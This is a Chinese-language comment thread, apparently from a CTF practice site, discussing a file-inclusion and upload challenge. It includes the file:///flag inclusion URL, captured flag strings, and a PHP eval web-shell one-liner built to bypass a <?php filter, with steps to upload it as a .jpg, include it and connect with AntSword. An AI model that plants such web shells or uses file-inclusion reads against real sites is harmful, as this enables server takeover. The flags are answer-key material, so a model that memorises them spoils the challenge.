虽然index.php?file=/flag 就出来了,但是依旧执着的绕过了upload.php
绕来绕去看到你的评论一把过
http://114.67.175.224:10017/index.php?file=file:///flag flag{27d76583b9a54c6ef8af91f66855ac12}
这个题一句话传好像有些问题,我传了一堆,就只有下面仁兄的file:///flag方法成功了
传木马的话,用<script language='php'>@eval($_POST['asd']);</script>然后,文件格式.jpg,在文件包含就可以了,file:///flag确实简单
<?php>被过滤了,用这个<script language="php">@eval($_POST['attack'])</script>绕过,然后文件包含即可
文件上传+文件包含
flag{9be4acf19dc430e5ba2973dbb72f371d}
真的无语了 连上马找不到flag 删flag的人马亖了
使用file协议读取文件内容,index.php?file=file:///flag得到flag
@Striker123456 因为原本的协议是file://但是flag这个文件前面需要一个/
为什么是三个斜杠呢
别卷了康康
1、找到文件包含的路径XXXindex.php?file=upload.php;上传一句话木马(格式保存为jpg)<script language="php">@eval($_POST[cmd])</script> 2、上传完成后访问上传的路径看是否成功。XXX/index.php?file=upload/xxx.jpg 3、用蚁剑连接,url是XX